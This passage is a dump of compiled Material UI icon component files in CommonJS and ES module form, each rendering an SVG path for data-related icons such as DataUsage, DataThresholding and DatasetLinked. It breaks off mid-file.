    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8v3H8v2h3v3h2v-3h3v-2h-3V8zm2-5.95v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataSaverOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8v3H8v2h3v3h2v-3h3v-2h-3V8zm2-5.95v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataSaverOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataThresholding.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.33 5.17 2 2 3.67-3.67 1.41 1.41L12.67 13l-2-2-3 3-1.41-1.41zM5 16h1.72L5 17.72zm.84 3 3-3h1.83l-3 3zm3.96 0 3-3h1.62l-3 3zm3.73 0 3-3h1.62l-3 3zM19 19h-1.73L19 17.27z\"\n}), 'DataThresholding');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataThresholding.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.33 5.17 2 2 3.67-3.67 1.41 1.41L12.67 13l-2-2-3 3-1.41-1.41zM5 16h1.72L5 17.72zm.84 3 3-3h1.83l-3 3zm3.96 0 3-3h1.62l-3 3zm3.73 0 3-3h1.62l-3 3zM19 19h-1.73L19 17.27z\"\n}), 'DataThresholding');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataThresholdingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-1.73L19 17.27zm0-3h-.85l-3 3h-1.62l3-3h-2.12l-3 3H9.8l3-3h-2.12l-3 3H5.84l3-3H6.72L5 17.72V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.67 11 2 2 5.08-5.09-1.41-1.41-3.67 3.67-2-2-4.42 4.42L7.66 14z\"\n}, \"1\")], 'DataThresholdingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataThresholdingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-1.73L19 17.27zm0-3h-.85l-3 3h-1.62l3-3h-2.12l-3 3H9.8l3-3h-2.12l-3 3H5.84l3-3H6.72L5 17.72V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.67 11 2 2 5.08-5.09-1.41-1.41-3.67 3.67-2-2-4.42 4.42L7.66 14z\"\n}, \"1\")], 'DataThresholdingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataThresholdingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7.62 5.88 1.29 1.29 2.96-2.96c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-3.67 3.67c-.39.39-1.02.39-1.41 0L10.67 11l-2.3 2.3c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l3-3c.39-.41 1.02-.41 1.42-.01M5 16h1.72L5 17.72zm.84 3 3-3h1.83l-3 3zm3.96 0 3-3h1.62l-3 3zm3.73 0 3-3h1.62l-3 3zM19 19h-1.73L19 17.27z\"\n}), 'DataThresholdingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataThresholdingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7.62 5.88 1.29 1.29 2.96-2.96c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-3.67 3.67c-.39.39-1.02.39-1.41 0L10.67 11l-2.3 2.3c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l3-3c.39-.41 1.02-.41 1.42-.01M5 16h1.72L5 17.72zm.84 3 3-3h1.83l-3 3zm3.96 0 3-3h1.62l-3 3zm3.73 0 3-3h1.62l-3 3zM19 19h-1.73L19 17.27z\"\n}), 'DataThresholdingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataThresholdingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM10.67 8.17l2 2 3.67-3.67 1.41 1.41L12.67 13l-2-2-3 3-1.41-1.41zM5 16h1.72L5 17.72zm.84 3 3-3h1.83l-3 3zm3.96 0 3-3h1.62l-3 3zm3.73 0 3-3h1.62l-3 3zM19 19h-1.73L19 17.27z\"\n}), 'DataThresholdingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataThresholdingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM10.67 8.17l2 2 3.67-3.67 1.41 1.41L12.67 13l-2-2-3 3-1.41-1.41zM5 16h1.72L5 17.72zm.84 3 3-3h1.83l-3 3zm3.96 0 3-3h1.62l-3 3zm3.73 0 3-3h1.62l-3 3zM19 19h-1.73L19 17.27z\"\n}), 'DataThresholdingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataThresholdingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19v-1.73L17.27 19zM5 17.72 6.72 16h2.12l-3 3h1.83l3-3h2.12l-3 3h1.62l3-3h2.12l-3 3h1.62l3-3H19V5H5zm5.67-9.55 2 2 3.67-3.67 1.41 1.41L12.67 13l-2-2-3 3-1.41-1.41z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-1.73L19 17.27zm0-3h-.85l-3 3h-1.62l3-3h-2.12l-3 3H9.8l3-3h-2.12l-3 3H5.84l3-3H6.72L5 17.72V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.67 11 2 2 5.08-5.09-1.41-1.41-3.67 3.67-2-2-4.42 4.42L7.66 14z\"\n}, \"2\")], 'DataThresholdingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataThresholdingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19v-1.73L17.27 19zM5 17.72 6.72 16h2.12l-3 3h1.83l3-3h2.12l-3 3h1.62l3-3h2.12l-3 3h1.62l3-3H19V5H5zm5.67-9.55 2 2 3.67-3.67 1.41 1.41L12.67 13l-2-2-3 3-1.41-1.41z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-1.73L19 17.27zm0-3h-.85l-3 3h-1.62l3-3h-2.12l-3 3H9.8l3-3h-2.12l-3 3H5.84l3-3H6.72L5 17.72V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.67 11 2 2 5.08-5.09-1.41-1.41-3.67 3.67-2-2-4.42 4.42L7.66 14z\"\n}, \"2\")], 'DataThresholdingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataUsage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataUsage');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataUsage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataUsage');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataUsageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataUsageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataUsageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataUsageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataUsageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3.87v.02c0 .67.45 1.23 1.08 1.43C16.93 6.21 19 8.86 19 12c0 .52-.06 1.01-.17 1.49-.14.64.12 1.3.69 1.64l.01.01c.86.5 1.98.05 2.21-.91.17-.72.26-1.47.26-2.23 0-4.5-2.98-8.32-7.08-9.57-.95-.29-1.92.44-1.92 1.44m-2.06 15.05c-2.99-.43-5.42-2.86-5.86-5.84-.54-3.6 1.66-6.77 4.83-7.76.64-.19 1.09-.76 1.09-1.43v-.02c0-1-.97-1.73-1.93-1.44-4.51 1.38-7.66 5.86-6.98 10.96.59 4.38 4.13 7.92 8.51 8.51 3.14.42 6.04-.61 8.13-2.53.74-.68.61-1.89-.26-2.39-.58-.34-1.3-.23-1.8.22-1.47 1.34-3.51 2.05-5.73 1.72\"\n}), 'DataUsageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataUsageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3.87v.02c0 .67.45 1.23 1.08 1.43C16.93 6.21 19 8.86 19 12c0 .52-.06 1.01-.17 1.49-.14.64.12 1.3.69 1.64l.01.01c.86.5 1.98.05 2.21-.91.17-.72.26-1.47.26-2.23 0-4.5-2.98-8.32-7.08-9.57-.95-.29-1.92.44-1.92 1.44m-2.06 15.05c-2.99-.43-5.42-2.86-5.86-5.84-.54-3.6 1.66-6.77 4.83-7.76.64-.19 1.09-.76 1.09-1.43v-.02c0-1-.97-1.73-1.93-1.44-4.51 1.38-7.66 5.86-6.98 10.96.59 4.38 4.13 7.92 8.51 8.51 3.14.42 6.04-.61 8.13-2.53.74-.68.61-1.89-.26-2.39-.58-.34-1.3-.23-1.8.22-1.47 1.34-3.51 2.05-5.73 1.72\"\n}), 'DataUsageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataUsageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataUsageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataUsageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataUsageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataUsageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataUsageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataUsageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2.05v3.03c3.39.49 6 3.39 6 6.92 0 .9-.18 1.75-.48 2.54l2.6 1.53c.56-1.24.88-2.62.88-4.07 0-5.18-3.95-9.45-9-9.95M12 19c-3.87 0-7-3.13-7-7 0-3.53 2.61-6.43 6-6.92V2.05c-5.06.5-9 4.76-9 9.95 0 5.52 4.47 10 9.99 10 3.31 0 6.24-1.61 8.06-4.09l-2.6-1.53C16.17 17.98 14.21 19 12 19\"\n}), 'DataUsageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dataset.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 14H7v-4h4zm0-6H7V7h4zm6 6h-4v-4h4zm0-6h-4V7h4z\"\n}), 'Dataset');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dataset.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 14H7v-4h4zm0-6H7V7h4zm6 6h-4v-4h4zm0-6h-4V7h4z\"\n}), 'Dataset');"
  },
  {
    "path": "packages/mui-icons-material/lib/DatasetLinked.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.09 17H7v-4h3.69c.95-.63 2.09-1 3.31-1h6c.34 0 .67.04 1 .09V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h3.81C8.3 20.12 8 19.09 8 18c0-.34.04-.67.09-1M13 7h4v4h-4zM7 7h4v4H7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 18c0-1.1.9-2 2-2h2v-2h-2c-2.21 0-4 1.79-4 4s1.79 4 4 4h2v-2h-2c-1.1 0-2-.9-2-2m8-4h-2v2h2c1.1 0 2 .9 2 2s-.9 2-2 2h-2v2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 17h6v2h-6z\"\n}, \"2\")], 'DatasetLinked');"
  },
  {
    "path": "packages/mui-icons-material/lib/DatasetLinked.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.09 17H7v-4h3.69c.95-.63 2.09-1 3.31-1h6c.34 0 .67.04 1 .09V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h3.81C8.3 20.12 8 19.09 8 18c0-.34.04-.67.09-1M13 7h4v4h-4zM7 7h4v4H7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 18c0-1.1.9-2 2-2h2v-2h-2c-2.21 0-4 1.79-4 4s1.79 4 4 4h2v-2h-2c-1.1 0-2-.9-2-2m8-4h-2v2h2c1.1 0 2 .9 2 2s-.9 2-2 2h-2v2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 17h6v2h-6z\"\n}, \"2\")], 'DatasetLinked');"
  },
  {
    "path": "packages/mui-icons-material/lib/DatasetLinkedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h1.09c.28-1.67 1.24-3.1 2.6-4H7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19V5h14v7h1c.34 0 .67.04 1 .09V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h3.81c-.35-.61-.6-1.28-.72-2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h4v4H7zm6 0h4v4h-4zm3 13h-2c-1.1 0-2-.9-2-2s.9-2 2-2h2v-2h-2c-2.21 0-4 1.79-4 4s1.79 4 4 4h2zm4-6h-2v2h2c1.1 0 2 .9 2 2s-.9 2-2 2h-2v2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19v-2h-6v2h5z\"\n}, \"3\")], 'DatasetLinkedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DatasetLinkedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h1.09c.28-1.67 1.24-3.1 2.6-4H7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19V5h14v7h1c.34 0 .67.04 1 .09V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h3.81c-.35-.61-.6-1.28-.72-2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h4v4H7zm6 0h4v4h-4zm3 13h-2c-1.1 0-2-.9-2-2s.9-2 2-2h2v-2h-2c-2.21 0-4 1.79-4 4s1.79 4 4 4h2zm4-6h-2v2h2c1.1 0 2 .9 2 2s-.9 2-2 2h-2v2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19v-2h-6v2h5z\"\n}, \"3\")], 'DatasetLinkedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DatasetLinkedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.09 17H7v-4h3.69c.95-.63 2.09-1 3.31-1h6c.34 0 .67.04 1 .09V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h3.81C8.3 20.12 8 19.09 8 18c0-.34.04-.67.09-1M13 7h4v4h-4zM7 7h4v4H7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.03 